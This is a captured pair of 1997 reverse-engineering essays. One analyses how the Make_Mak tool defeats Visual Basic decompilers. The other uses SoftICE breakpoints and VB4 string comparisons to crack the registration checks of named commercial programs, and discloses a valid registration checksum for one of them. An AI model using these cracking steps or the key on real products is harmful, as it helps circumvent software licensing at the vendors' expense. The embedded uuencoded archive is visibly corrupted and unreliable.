claims that it uses the hard drive serial number off of your computer as
part of the protection, but I have doubts as to the validity of this"

For the past couple of hours, I too was intrigued by this protection scheme.
Normally, the first thing you think of when cracking VB programs is to run
DoDi's VBDIS Decompiler, but it just won't work here. You get various error
messages, and the program quits. Sometimes, it even says the mysterious
phrase "Cheat" for no reason at all. I hope this 'essay' of sorts starts up
a new +HCU project, because what I'm about to tell you may very well change
the way you look at Visual Basic projects again.

http://www.instinct.org/fravia/flipne2.htm (1 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

Okay, why not use SoftIce here? Well why not? The truth is, I have yet to
install the new version, and my video card is incompatible with SoftIce.

So, what next? I took one of my own VB compiled programs, and tried to de-
compile it. It worked alright, without any errors. So I decided to download
"Decompiler Defeater" from NPI's website (I trust you can find this program
if you need it, check for "OVERRIDE.ZIP" using Altavista). After using it on
my own program (UDP Sniffer), I saw that it was nothing more than a useless
toy for lazy VB programmers. Look closely, it's protection can easily be
defeated. All it does is overwrite selected "important" bytes from the VB
executable file, like the main form's header 'code', or the actual form names
themselves. No wonder my programs stopped working after protecting them with
this piece of junk.

I checked out POPIT.EXE (16 Bit & 32 Bit vers), and discovered that NONE of
these tricks had been used. I tried to change bytes around various headers,
but nothing worked. So now it was obvious, this was no ordinary VB compiled
file. Back to Altavista, I searched for "OVERRIDE.ZIP" and came up with a
homepage that had another file listed on it called MAKE_MAK.ZIP. The descrip-
tion is as follows.

Description.......: Make_MAK is a Visual Basic AddOn-Compiler.


Together with an existing VB.EXE (any version !) this
program compiles one or more projects faster than you
ever could operate VB !
Besides, EXE-files will partly be essentially shorter
since VB is now unable to store data-'junk'.
Make_MAK supports drag'n'drop from any file manager.
ANTI-DISCOMPILER: check "DecompDefeat" and your apps
will be immune against 'reverse engeneering' !

That sounds like a nice program to protect my VB file, let's download it.
After searching Altavista again, I found a homepage where I could download
this wonderful gadget. You can get a copy at the following URL.

http://www.programmersheaven.com/files/file1.htm

So I decided to test this one out. Guess what? It stopped DoDi's decompiler
before it even had a chance to pick out my object data. But wait, it still
loads up the VBX files.. strange, let's have a look at my EXE file again.

Here's the original file, at the form resource entry point. To find it in
any VB file, search for the pattern '03 20 81 80' in hex, there's only one
location for it.

00001C00 03 20 81 80 FF FF 53 4E-49 46 46 00 00 00 00 06 . ....SNIFF.....


00001C10 00 01 00 53 4E 49 46 46-00 00 43 0B 00 00 FF 01 ...SNIFF..C.....
00001C20 FF 01 56 2F 57 43 53 50-49 4E 47 2E 56 42 58 00 ..V/WCSPING.VBX.
00001C30 46 0A 04 80 48 00 FF 01-54 E8 01 53 4E 49 46 46 F...H...T..SNIFF
00001C40 2E 46 52 4D 00 00 00 58-00 00 00 1A 00 1B 00 AF .FRM...X........
00001C50 00 00 00 00 58 01 00 00-1C 00 1D 00 AF 00 00 00 ....X...........

http://www.instinct.org/fravia/flipne2.htm (2 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

00001C60 00 58 02 00 00 1E 00 1F-00 AF 00 00 00 00 58 03 .X............X.

Now, what about the same location in the "protected" one made by MAKE_MAK?

00001E00 03 20 81 80 FF FF 53 4E-49 46 46 00 00 00 00 06 . ....SNIFF.....


00001E10 00 01 00 53 4E 49 46 46-00 00 43 0C 00 00 FF 01 ...SNIFF..C.....
00001E20 FF 01 D2 18 FF 43 53 57-53 4F 43 4B 2E 56 42 58 .....CSWSOCK.VBX
00001E30 00 46 0A 04 80 48 00 FF-01 D4 20 02 00 00 AB 55 .F...H.... ....U
00001E40 1E DC 05 4D 5D 00 00 00-58 00 00 00 1A 00 1B 00 ...M]...X.......
00001E50 97 00 00 00 00 58 01 00-00 1C 00 1D 00 97 00 00 .....X..........
00001E60 00 00 58 02 00 00 1E 00-1F 00 97 00 00 00 00 58 ..X............X

Notice how the "SNIFF.FRM" file reference is missing? And the filesize of
the protected executable is smaller than the original version.

This means that something is happening DURING the compilation process.

I used OpenTrap (grab a copy at http://www.zdnet.com/, look for OPENTR.ZIP)


to see what was going on behind the scenes in Windows.

[ here's my log file, unimportant items clipped to save space ]

000144 VB opened C:\TEMP\~VB1139.TMP at 23:43:06.180


000145 VB closed C:\TEMP\~VB1139.TMP at 23:43:06.180
000146 VB opened C:\TEMP\~VB1139.TMP at 23:43:06.180
000147 VB closed C:\TEMP\~VB1139.TMP at 23:43:06.180
000148 VB closed D:\MIX\F\SNIFF.FRM at 23:43:06.230
000149 VB opened C:\TEMP\~VB1139.TMP at 23:43:06.230
000150 VB opened C:\VB\VB.EXE at 23:43:06.230
000151 VB closed C:\VB\VB.EXE at 23:43:06.230
000152 VB failed to open D:\MIX\F\SNIFF.EXE at 23:43:06.230
000153 VB opened D:\MIX\F\SNIFF.EXE at 23:43:06.230
000154 VB closed C:\TEMP\~VB1139.TMP at 23:43:06.560
000155 VB opened C:\TEMP\~VB1139.TMP at 23:43:06.560
000156 VB closed C:\TEMP\~VB1139.TMP at 23:43:06.620
000157 VB closed D:\MIX\F\SNIFF.EXE at 23:43:06.620
000158 VB closed C:\WINDOWS\SYSTEM\CSWSOCK.VBX at 23:43:06.670
000159 VB opened C:\WINDOWS\VB.INI at 23:43:06.730
000160 VB closed C:\WINDOWS\VB.INI at 23:43:06.730
000161 VB opened C:\WINDOWS\VB.INI at 23:43:06.840
000162 VB closed C:\WINDOWS\VB.INI at 23:43:06.840
000163 VB closed C:\VB\VB.EXE at 23:43:06.890
000164 WSASRV closed C:\WINDOWS\WINSOCK.DLL at 23:43:06.950
000165 WSASRV closed C:\WINDOWS\SYSTEM\WSASRV.EXE at 23:43:06.950
>000166 MAKE_MAK opened C:\TEMP\~EXE1174.TMP at 23:43:07.0
>000167 MAKE_MAK closed C:\TEMP\~EXE1174.TMP at 23:43:07.0
000168 MAKE_MAK opened D:\MIX\F\SNIFF.EXE at 23:43:07.0
>000169 MAKE_MAK opened C:\TEMP\~EXE1174.TMP at 23:43:07.0
>000170 MAKE_MAK closed C:\TEMP\~EXE1174.TMP at 23:43:07.0
000171 MAKE_MAK closed D:\MIX\F\SNIFF.EXE at 23:43:07.0
>000172 MAKE_MAK opened C:\TEMP\~EXE1174.TMP at 23:43:07.0
000173 MAKE_MAK failed to open D:\MIX\F\SNIFF.EXE at 23:43:07.0

http://www.instinct.org/fravia/flipne2.htm (3 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

000174 MAKE_MAK failed to open D:\MIX\F\SNIFF.EXE at 23:43:07.0


000175 MAKE_MAK opened D:\MIX\F\SNIFF.EXE at 23:43:07.0
000176 MAKE_MAK closed D:\MIX\F\SNIFF.EXE at 23:43:07.0
000177 MAKE_MAK opened D:\MIX\F\SNIFF.EXE at 23:43:07.0
>000178 MAKE_MAK closed C:\TEMP\~EXE1174.TMP at 23:43:07.0
000179 MAKE_MAK closed D:\MIX\F\SNIFF.EXE at 23:43:07.0
000180 MAKE_MAK opened C:\WINDOWS\CHGTOOLS.INI at 23:43:07.110
000181 MAKE_MAK closed C:\WINDOWS\CHGTOOLS.INI at 23:43:07.110
000182 MAKE_MAK opened C:\WINDOWS\CHGTOOLS.INI at 23:43:09.580
000183 MAKE_MAK closed C:\WINDOWS\CHGTOOLS.INI at 23:43:09.580
000184 MAKE_MAK opened D:\MIX\F\MAKE_MAK.EXE at 23:43:09.640
000185 MAKE_MAK closed D:\MIX\F\MAKE_MAK.EXE at 23:43:09.640
000186 MAKE_MAK opened D:\MIX\F\MAKE_MAK.EXE at 23:43:09.640
000187 MAKE_MAK closed D:\MIX\F\MAKE_MAK.EXE at 23:43:09.690
000188 MAKE_MAK closed C:\WINDOWS\SYSTEM\CTL3D.DLL at 23:43:10.900
000189 MAKE_MAK closed D:\MIX\F\MAKE_MAK.EXE at 23:43:10.900
000190 MAKE_MAK closed C:\WINDOWS\SYSTEM\VBRUN300.DLL at 23:43:10.900
000191 MAKE_MAK closed D:\MIX\F\MAKE_MAK.EXE at 23:43:10.960

Sorry for the extra long log file description, but I thought it was im-
portant to note what's happening here.

First, MAKE_MAK is loading, then you pick a MAK file to compile, it loads
up VB.EXE (the compiler), and then proceeds to compile the program, BUT
somewhere in between it accesses one of the temp files VB is making, and
does something to it.

>000166 MAKE_MAK opened C:\TEMP\~EXE1174.TMP at 23:43:07.0


>000167 MAKE_MAK closed C:\TEMP\~EXE1174.TMP at 23:43:07.0

Visual Basic's compiler created that file in my temp directory, and then
used it to compile the final application. Somehow, MAKE_MAK modified this
file, and changed its contents so that the final EXE file is in "shrouded"
form. I tried jumping to DOS and running undelete. I managed to salvage the
file above, but I came up with random strings from a recent Windows memory
dump of sorts.

That's about it. I know a few more things about POPIt though. You must con-
figure it to enable the registration button, then possibly someone could use
SoftIce on it to get a working reg name/num.

I'm working on a "Decompiler Defeater" re-build program that'll take care of


that kind of protection, but as for this new form of protection, I'll con-
tinue to work on it, but if anyone else has any ideas, feel free to e-mail
me with them.

Also, as a final note, I checked out MAKE_MAK's claim that it works with all
VB versions, and they were right. It successfully removed all references to
any FRM files from my VB executables (v3.0, v4.0, and v5.0).

flipper (upg) [box01@ids.on.ca]

http://www.instinct.org/fravia/flipne2.htm (4 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

(c) flipper, 1997. All rights reversed.

Second part
An Explanation of how Make_Mak for Visual Basic Works
Written by flipper (upg)

(This is a follow up to my previous document about the POPIt mail notifier)

After a few more hours of looking at Make_Mak for Visual Basic, I realized
that this was a project I couldn't do alone. So, here are my findings for
this strange and very rare VB utility.

Files You'll need and Their Locations

1. Make_Mak - http://www.programmersheaven.com/files/basic/MAKE_MAK.ZIP
2. OpenTrap - ftp.jwpepper.com/pub/pcmag/opentr.zip
or ftp.zdnet.nis.newscorp.com/pcmag/1997/0701/opentr.zip
3. WinSourcer v7.0 you can find it on the Web

Phase 1
-------

First off, we'll take a look at a compiled VB application. I created a


project with one form, no controls, about half the size of the default
window. I only put in one or two lines of code, then I saved the whole
project, and made it an executable file.

I then renamed it, and loaded Make_Mak up. Make_Mak is a program that can
compile up to 3 Visual Basic MAK files in a sort of batch queue. There's
one interesting option in it though. You can select the "DecompDefeter" so
your final executable cannot be decompiled by Dodi's VBDIS. I had to find
out what caused this, so I began to investigate.

Before I continue, you might want a copy of the two files I'll be working
with, so I'll post them below in UUENCODED format.
section 1 of 1 of file nothing.zip <uuencode 5.32 by R.E.M.> begin 644 nothing.zip
M4$L#!!0````(`-E\4R,\62@5^P```)P!```+````3D]42$E.1RY&amp;4DVMC\U*
MPT`4A;]I)FUJ&quot;&gt;K.ZB98R4I$%QK=204WXB)0040($D,;TA]H6O`Q^D@^@*_A
MLN`#*..=-B#=&gt;^Y<yc!\g'o'?!rcyl"=-.[m9#hz\tuew+8+o3j$#7@0wu9t
MZ1C1T9HXM\2%12++7%K(J(Y$J48Z>HWG^4Q+6K@R7[P[D6O8%::F#Q5\NS6V
M252BFJB:H^LMU]M:Q(NXD(1]_O3$_ZA87WZU6W(SS-/&quot;DY<]fgb82j!q%#x;
MG.+T>87&quot;(W6[DWP!O23@0*HWR,M`SFR0!&gt;EP4N;C?E&quot;FTRP;G_#)-4MV:$G=
M9V7YTL^&quot;[N2-4*$C&quot;;G:&amp;*_M&gt;'Y^`5!+`P04````&quot;`#D?%,CJ^_M1EH```!R
M````&quot;P```$Y/5$A)3D<n34%+\_,/\?#t<]=s"_+ey0hhrl\*s\p+sjq*m;4p
MU#&V,-`Q,K'0,3(T1<AEY)?;&O%R>2;GY[GE%^7:*H%(0R5&gt;KI#,DIQ46R6H
M@4`!UXI4O\1<a)">:X0K4!@`4$L#!!0````(`.)\4R.ZVKDY]04```X6```+
M````3D]42$E.1RY%6$7M6&amp;],4U<4/^]/:46@e3$4ao`zl?lc,`2$3hl5ap4r
M0,;0.<9F&'381%KWVC>V#XQ'_(*KLB]+7-R<6<;'q6q+/ra9l.ab9qq.mp]b
M]L%D6[(1HE%80A?^W)W[WBU@QM`E3B?QM+?W_NX]YY[[Y]Q[SFU-(P$#`$B8
M"(%9VH*)@]M0'#RD!YP.#A?^U'LQ^,N+="2?,7-WY+Z43'/PXO#_*!1+[,X70"

http://www.instinct.org/fravia/flipne2.htm (5 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

MLB'K%URH>L@:RA^R.@2_`2M'1WKC<j`p'(r>),3675I7IJ3:NCOYADHER:9V
MBJ6*\9!B.%#\D8&quot;-'1XE@S9Z6Y44S$6/K&quot;0@4URI8NBO$D8_&amp;3MNLQN4DX<z
MA0.;CPJAM"&K6#8PS/>(KK/B1DQ-KE#%5S!D/3C<&sxus!>$3[I@[/AVM9,T
M!<2saj:*@8m\,.d"/][7/\r?@-(ajvs^[)@p6ggp8n\p#g9d$pgb2/;/d,"u
MWLP<",ZH#@C\_+EC4T",#RL3P0OKOM__)Q?X+3B!W8_W;:="R=.RC'_">_)8Q,
MS]&quot;Y!G%HJ)F0L&gt;,3EX)7@I?H:`:ZP?9&gt;-7EOD#_C&gt;+?C!UM/.2FX)MP\9&quot;^;
M'N^;.H6M9PU21;#XJ*#I/5\UWJ=/0.^&amp;=D%U?7I4$$ZON^0W99O%F_;3\@&amp;J
M;(`.A7($,X\)`TT0$;^&gt;B93S9&quot;A2+EI#D?*XS5@R64<by?$?0lb)7?8#e[gs
MO`DZ/-Z\%E_[7;*.ACT>O[1/]K7)S&gt;V2['Y3\<anou3c:9%]?m\;`>DEC[?5
MU^'/2XS/?MFG2,VR6VK&gt;*[N;6]^19,7K]7C;%F;&gt;X6U^?:];&quot;O@D?Z!9#BS,
M-/\Z&gt;DC_$=5N,\1/`0^N;?45R0(/8($ZBW;S\R!BGH&amp;&gt;8`_\&quot;C=@#&amp;:T^]Z$
M?H(W,7'!!&amp;E0MSI-`RL2&gt;(A'MV%9#=PRJ`9+1O6L'A,DJ;H_2<!>\S,X51-7
M&gt;:TN$;7%ZLP@8)G7RO&amp;J06M/GM&gt;&gt;HLGK[8]J95$KIVIE@_KW.9IJMS=45M56
M@.[33#NWUN^H+<s/!u@uk^4a43i"3qu'mq@$;@666g'i5^*6+%&jk#ibe]`z
M']/O.OP&]KBEEKT^/[V\_"VRV^W-@R+[%CABMT`^+(<:M]_?W.:6MOK>AC_J
M*ZLV)#U?=<7]6m(k2?!`dgyv4v?co:?a:i&(h=wa`ay4b\[3@p;q`7<y-qu7
MZIB31Z03X!T!'"U1^4:-UP$1BPCIT&9&^3H)>YU(IIQ&gt;[G#1*FR?)C/F.7F8
M)V]@^DDNU1]QS.FOQ/0J5V)/752^@\V(@R+\S4&amp;I<ui4zv+ck<9\3e9do#q<
M!_$.UFFI$ET!2>(QQ_N3HUB2J`<0x7>&gt;&gt;H&amp;E34^RM\\6;26XV)(L2-3@R((T
M2,B4HXN<f<j*.j>,DV0J&quot;U/7))DFBZ=!,CE52B;/#)*HPXDY(5$GP?I_2U0_
M=)$P9$4!C)AHWA7%HW'GR4FBPNWUPY+&gt;?_T&gt;4/_1Z%7M&quot;ZJJ9_1#J_`G'`Y3
M&quot;]&amp;^]&quot;&amp;M9?1#J^[ELKU/C/OF(T*,':S&quot;I&amp;^AL4.OB&amp;UIK'T6[X-;,,&quot;]Q#T]
M\_$<hibbz]=c^%9$:3%tgxdl=f[5^w=n!:e;)60v##;a(9@%k@111=_)?5,9
MJ\MSU>@T&quot;Y,Z1@RM=$&gt;=N%MF0&amp;K&amp;<"cdpe9#`ct;%d9p+/u.*qa`%u]-jqe
M`)\5-GB"`2,]DT\Q8*+AP#H&EE&?GLL`OC/RX!D&E@-&9NL92-3B5TX'%H`-
M4,Q:5@"4@)V!9(!G82,#CP!LPL!%!RG4Z\4ZP+AB,SA9RTIZ3Y0Q@+',5GB.
M@6SZ+HG)K`4HAVUZBTZW@/\="[;;'0H'==MOL_X#S?^ESK\ULS+N&lt;">[7H<`%h
MKT.\*/+F["L%S,6T3H_&OM5B1A-[^24`-0JT)Y5B44.-F@G="?6K4HL5TIC%&amp;"
MZ>P]6U+$,?TBXR#?Y0#7C07]#9B(_X:Z?'+[&gt;D,:FF@#M4PTR!U83N-PN]?0
MR67K'!LH1S%E*:$\=LJ$TR_4'0GV8WM!\03$&amp;Q`62@P$T/C(\G,+CIF_C^&amp;G
M/A=C2WLK'&gt;U?4$L#!!0````(`/1\4R-@&amp;FC6\04````6```,````3D]42$E.
M1U`N15A%[5AO3%-7%#_O3VE!H,B8#H;P.K'[(R**M)VV5!P6R!&quot;80^<8,^f@
MPR;:NM="VW3XP'O$+6F5?%YTCRTCV93';0C(E!HLF=L;5Z?9A-?M@LBUQA&amp;@4"
MEMB%/W?GOO=":2L9P2YQ.YNF[[][?O">?&gt;<]^]yyys;k>U$M``@(&quot;)$$C29DP,
MW(72X!$]Y'0X5O%CW^70SR\WG]0SS1&gt;_$$XR\'WL0)SQ9PT5<8/i4</gs&!#
MU#!8'C58.9\&*\="&amp;^])*H2(&lt;BI\BQ-AC:ZX.+#/V=+$M=8%LH]3%VP+:(P'-"
M0=",Q#AN#[D`A;?1T!/(PY]UB(!.9TFP!S5`]-_;1^`FC11,X=:2+.UAUG!O,"
MCQKXZN$8V\L[SO,;,;4Y!FN_A*CA<*PO?";&K@^?<L#XB2:IB[3Y^?.:MMKA
MRVPH^Q([,3`48T^"+6H0]9_T<V-UAR_WQ7"RHYM("&="R8(;X;_05E4)H1K*&quot;"
M_Z?/K)O\?$8X<"="T:?6W!WYG_-=#=W#XB8$FVH_.?">S#H;&gt;YT&gt;D9^JTAG!I*
M)F3\Q)TKH:NA*W0VPSU@/-1`#HVPYZSO!;\S]M:0]3&gt;XVT<lu=,3`u-gl/6\
M1J@-F8YSLMR+]1,#R@<HP]`AJ*R/CW/<V="57?+H2/7_;&lt;E8\2(4-TZE0CE!1"
M/S?<!A'^]$RDAB712`UO&(S4I%5A26<8C="1D?`&quot;#=AQR&quot;)BBG1=U$'1[RMJ]"
M^^Z1="K3L&lt;?N$_:*W4W3N$T376P&amp;WZ/()V]SMHM?G?=,OO.+V='B#OK*LC))7"
MO0'!*;H$YU[1Y>QX5Q`#'H_;TSD_\PZ/\XV]+L'O%7Q^I^B?GRG5'/UKM#S=
M#O]G:MRJR9@&quot;%AQ;M]?F<bq`#c3gr):?!1[s0o0$>^`7N`7C,&quot;/;&gt;QWZ&quot;5:G
M=N=TD`_-*_)EL#23A0QT&amp;SDK@$F'!L@I;$C*T4&amp;VI/B33!RUO)&quot;1Y.X2*]=E
MH;1$G1XX++-R.4/2R.VY*&gt;UY<g^e_7&ys$n*##j^1oks-^h:fukjzamk51[=
MSBW;="S16E)&lt;#:%-:'A&amp;EH_34,72+@6.68JD#EWXY;LDBI;KZHQ8!M?-)Q=;A"
MX]_C$MKW>GW4&gt;/G:19?+4P8;+)OAJ&quot;4'RF$);'/Y?,Y.E[#%^P[\MKVNOC+[
MQ?JKKMW9KV7#0TG*V5V6C/&gt;&gt;@XB9Q]!.7\:&quot;E*/P]*)&quot;A)@F4P&amp;NU-I<%I%"
M@#8"&%JB_5ME7BM\:N.A`,R5V+]9D$>EG![F^H8GL#Q-9O2S_2&EOT:5WVVB

http://www.instinct.org/fravia/flipne2.htm (6 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

M\CNK9N7787J=^:%BV8+]@Y"P`QOP78J]+LBR'>I\&S"?[<NKO"S<!/[NR[1H
MB:Z`(+"8HRUE*!8$Z@%X^)6E7F!QTS/JW6>SO!+,K".9AZC"D7EIA)`I:S<Y
M-U4<MT]I)\E4,:;N23)-%DXC9'+*1B;/C9"XU8XY(7$[P?I_2E0^=),P%,?1
MJ6&B>7<<C\;?3W82Y^XN'Q;U_BMV0/I+I9?D!R1)R>B/5N$K'`Y3#9$?:N[D
MC/YHU?U<MO>)=G\J(D0;5"MTRA9J@TI%8DL3[4F\'^9@@/N)>WM3\2RBF**;
M-Q-X+J*T$'K`1!8ZM]*#.[><T",1D@R#=7@(DL"1R4OH.YE"ZGYSUW0<*R@:
MVGT:R[LP%6#(]#0=81=:RT)8H0(\.D50K`*.GBV#"O!L/04K58"NO@16J0"O
M%48L*D!+S^2S*M#1<&"U"M*I3U^C`KQGE,%:%2P!C,S6J2!+CE\9!>0`5())
M;5D*8`:+"G(!GH>-*G@,8!,&+@K(HUXO,0#&%55@5UN64SM1K0*,9;;`"RHH
MH?>21)]5`#6P56E1:`[XS]$U6R(4N&8S)O\'3'W3ZYZYLM_:9(J8]64@WPX)
MZ;?.ZE<>?&6F=4HT]K4<,^K4FU\F4*5`?9(HYF74*JO0O:=6.5HL4"7.)1Z"
M)D:5SZL<Y)M28'JPH-P!L_#?4(=7W+=.DX\JVD(U$Q5R!Y;S&=SNE?3C2A2.
M2LIAHBQFRF.A3/CY%8HCP7&,+P7<?OX6A#FSA@`J'UER8=XYLP\P_/P#4$L!
M`A0`%`````@`V7Q3(SQ9*!7[````G`$```L````````````@`````````$Y/
M5$A)3D<N1E)-4$L!`A0`%`````@`Y'Q3(ZOO[49:````<@````L`````````
M`0`@````)`$``$Y/5$A)3D<N34%+4$L!`A0`%`````@`XGQ3([K:N3GU!0``
M#A8```L````````````@````IP$``$Y/5$A)3D<N15A%4$L!`A0`%`````@`
M]'Q3(V`::-;Q!0```!8```P````````````@````Q0<``$Y/5$A)3D=0+D58 715!+!08`````!``$`.4```#@#0````!4 ` end sum -r/size
34951/5270 section (from "begin" to "end") sum -r/size 17724/3803 entire input file

Inside the zip file you'll find the project file, the form file, the VB
compiled executable, and the Make_Mak compiled executable.

The unprotected file is called NOTHING.EXE and the protected is NOTHINGP.EXE.

** Notice a difference of 14 bytes between the two files.

Phase 2
-------

Next, I tried to decompile the unprotected executable with VBDIS. No


problems there. So I went on and tried it with NOTHINGP.EXE.
VBDIS was stopped dead in it's tracks.
The error message I got from VBDIS was:

" contains unknown structure! You may send this program to DoDi to improve
VB Discompiler"

then another message box comes up, and finally that mysterious "Cheat!"
message box pops up. I'd like to know what that means, but then again,
getting ahold of Dodi is another matter.

You can easily decompile my original example NOTHING.EXE, and get its source
code listing, but that still doesn't explain why NOTHINGP.EXE won't decompile.

Phase 3
-------

In comes WinSourcer v7.0. This program is one of the few that can determine
if a program has been written in Visual Basic or not. So, I ran it on my
two targets.

http://www.instinct.org/fravia/flipne2.htm (7 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

Both programs have the same startup code -

1.0010 start proc far


1.0010 call far ptr VBRUN300_100
1.0015 add [bx+si],ax
1.0017 or [bp+si],dh
1.0019 add al,[bx+si]

Both programs have the same VB code and text -

4.0000 db 48h, 49h, 9Ah, 38h, 20h, 00h


4.0006 db 08h, 00h, 1Bh, 00h
4.000A db 'This is the closing screen.'
4.0025 db 00h, 34h, 38h, 40h, 00h, 9Ah
4.002B db 38h, 10h, 00h, 30h, 00h, 0Bh
4.0031 db 00h
4.0032 db 'Message Box'
4.003D db 00h,0F4h, 52h, 48h, 49h, 35h
4.0043 db 0Eh, 4Bh, 49h,0D9h, 65h, 5Eh
4.0049 db 0Eh, 5Bh, 0Eh, 00h

But what about Segment_3?

[ original NOTHING.EXE ]

3.0000 db 00h, 00h, 19h, 00h, 00h, 00h


3.0006 db 00h, 00h, 16h, 00h, 00h, 00h
3.000C db 01h, 00h, 00h, 00h, 00h, 00h
3.0012 db 2Ah, 00h,0DFh, 34h, 04h, 00h
3.0018 db 06h, 00h, 97h, 32h, 02h, 00h

[ protected NOTHINGP.EXE ]

3.0000 db
00h, 19h, 00h, 00h, 00h 00h,
3.0006 db
00h, 16h, 00h, 00h, 00h 00h,
3.000C db
00h, 00h, 00h, 00h, 00h 01h,
3.0012 db
00h,0C7h, 37h, 04h, 00h 2Ah,
3.0018 db
00h, 0Fh, 2Eh, 02h, 00h 06h,
^^^ ^^^
The two rows I've underlined have changes in them. I switched back and
forth between windows to see what was different, and those four bytes changed
along with a lot of other bytes in this segment of code.

That can only mean one thing. Make_Mak is somehow removing the FORM name
reference from my file. To find the Visual Basic "form and library table"
search for bytes '03 20 81 80' in hex, the pattern only occurs once in
the executable.

In my last letter to Fravia+, I gave a short log listing from OpenTrap, but
I'll once again give the most important lines just in case you missed them
the first time. I was quick in assuming that Make_Mak opened a file that VB

http://www.instinct.org/fravia/flipne2.htm (8 of 9) [2/7/2001 3:17:29 PM]


flipne2.htm

was using in my Temp directory, but upon closer inspection of my log, it


looks as if that's a Make_Mak exlusive tmp file.

000166 MAKE_MAK opened C:\TEMP\~EXE1174.TMP at 23:43:07.0


000167 MAKE_MAK closed C:\TEMP\~EXE1174.TMP at 23:43:07.0
000168 MAKE_MAK opened D:\MIX\F\SNIFF.EXE at 23:43:07.0

It's strange though, what is Make_Mak up to after VB compiles the application?

Final Notes
-----------

That's as far as I can get without some serious knowledge in assembler, but
I can tell you this. POPIt was protected using Make_Mak, and as an interesting
aside, so was Dodi's VBDIS.. Take a look at VBDIS, and search for the string
".FRM", you won't find any references. Here is the author's address -

Christian Germelmann
Promenade 58
37431 Bad Lauterberg
Germany

Think for a second. This protection cannot be _that_ difficult, as it was


not written by a small or even large company at that.

In conclusion, until we find a way to decompile Make_Mak itself, we may never


know what kind of protection this is. As far as I know, the location I gave
for this program is the only one on the net, so for now I'll consider it very
rare indeed.

written by flipper (upg) on 10/19/97 [box01@ids.on.ca]

(c) flipper, 1997. All rights reversed.

You are deep inside fravia's page of reverse engineering, choose your way out:

Back to Project 8

homepage links anonymity +ORC students' essays academy database


tools cocktails antismut CGI-scripts search_forms mail_fravia
Is reverse engineering legal?

http://www.instinct.org/fravia/flipne2.htm (9 of 9) [2/7/2001 3:17:29 PM]


sth1.htm

Visual Basic - VB40032.DLL comparison code


(Visual Basic 4.0 how-to additions to Razzia's writings and Softice BPX problems)

by sth

(21 October 1997)

Courtesy of fravia's page of reverse engineering

Well, a welcome visual basic addition to Razzia's great tutorial. Now you can plunge straight into the VB40032.dll and reverse
its standard functions... The part of this essay about common bpr breakpointing problems with softice is also quite interesting.
Enjoy it!

I.SoftICE BPX problems


II.Visual Basic 4.0 how-to additions to Razzia's writings

First I want to say: THANK YOU to Razzia for his


fantastic writing about Visual Basic.
I just want to add a few lines to it but before this I
would like to mention that all the commands here were
and should be executed under Soft Ice (for Windows95)
-> the most/extremely powerful software I've ever met!

Part 1. About having problems with BPR (Break Point in Range) command
I think that every one has had problems with it. According
to the SICE documentation it should mark a region for
R/W/RW/T/TW checking. But sometimes I found that there
is an action in the region, but the BPR does not work.
Why? :--(
After a few tests I finally understand what the BPR
selector:offset sometimes causes the problem. Here is
the hole story:
1.You stop the running program with Ctrl+D.
2.You find that the data you are interested in is between
123f:00000001 and 123f:00000005.
3.You put 'BPR 123f:00000001 123f:00000005 R'.
4.You run the program further with F5.
5.->The program is running ....
6.->There is a read from within the range ...
7.->The program is running ..
8.The program finishes and you are damn sure that there WAS
a reading!
9.You begin hating SICE (and Windows95, personally) !

Now let's take a closer look at point 6. The reading


was made but ... from within another selector:offset.
This is quite normal. According to SICE documentation
the BPR command selects a region and this region
follows the data and code wherever it goes. Nice!
But then why it does not want to follow this noughty data?
Let's try to display the data from within the original

http://www.instinct.org/fravia/sth1.htm (1 of 5) [2/7/2001 3:17:33 PM]


sth1.htm

selector:offset... Nothing?! ERROR?!


We receive a message telling us that the selector does
not exists! Ha! Here is the key from the tent! The
selector is no longer used and SICE couldn't continue
checking for the region!

Now let's quickly solve the problem:--)


1. You stop the running program with Ctrl+D.
2. You find that the data you are interested in is again
between 123f:00000001 and 123f:00000005.
2a.You do PAGE 123f:00000001. You receive that the
Liner Address of this data is, for example 80812301.
3. You put 'BPR 030:80812301 030:80812305 R'.
4. You run the program further with F5.
5.->The program is running ....
6.->There is a read from within the range ... AND IT STOPS,
because selector 030 always exist!
9. You begin loving again Windows95 (especially the SICE,
personally) !

Part 2. Visual Basic 4.0 - 16 bit version


As Razzia already wrote there are only few places
where VB4 compares. But in the previous writing there
is not a word about VB40016.DLL. I find exactly where
it compares and here is the code:

: 8BF8 MOV DI,AX


: 8EC2 MOV ES,DX
: 1E PUSH DS
: C5760E LDS SI,[BP+0E]
: 33C0 XOR AX,AX
: F3A6 REPZ CMPSB ; #0 here the strings in ds:si
: 7405 JZ 2667 ; and es:di are compared
: 1BC0 SBB AX,AX
: 1DFFFF SBB AX,FFFF

And now - let's try it:


Name : RADIUS TACACS SERVER 3.5
Where : http://ns.sblc.af.mil/ras/radtac35.exe
Size : RADTAC.EXE = 377 376 bytes (main executable
module)
Protection : uses VB40016.DLL and a MD5UTIL.DLL
(Borland C++ RTL)

Let's try with some test data first:


Registration name : sth
Registration number : 1997
Registration checksum : 1234567890123456

This is a program for Internet Service Providers. It


takes care about all the modem PPP logins through
TCP/IP and it's very useful.

The whole task is to stay tuned to point #0. First the


program checks every digit from the CheckSum if it is

http://www.instinct.org/fravia/sth1.htm (2 of 5) [2/7/2001 3:17:33 PM]


sth1.htm

space (0x20) or dash. After checking all of them it


checks if the checksum is correct :--). So the correct
one (in my case ) is:
Registration checksum : d2976c2d50c3abc8

Part 3. Visual Basic 4.0 - 32 bit version


Visual Basic 4.0 - 32 bit version uses wide char format
to all its string operations. According to Razzia's
writing most of the programs uses 'MultiByteToWideChar'
function before comparing stings. In most cases it is
true!
But I met a program which uses a little bit different
way to check the registration code.

Name : Shiva AccessManager 2.0 - evaluation copy


Where : http://www.shiva.com/remote/radius/sam20.exe
Size : RADTAC.EXE = 1 116 160 bytes (main executable
module)
Protection : uses VB40032.DLL and a
UNET32.DLL(Microsoft Visual C++ RTL)

The requested information is:


Registration name : Test
Product Code : 1212
Serial Number : 3434
ID Address of a computer : 200.200.100.201
Number of users : 5000
Registration code : 1234567890123456 <-not the correct one!

The program reads all the input information you entered


and converts it to Wide Char format. Then the
UNET32.DLL calculates the requested 'Registration
code'. This is actually a check sum and it is based on
all the user entered fields except the 'Registration code'
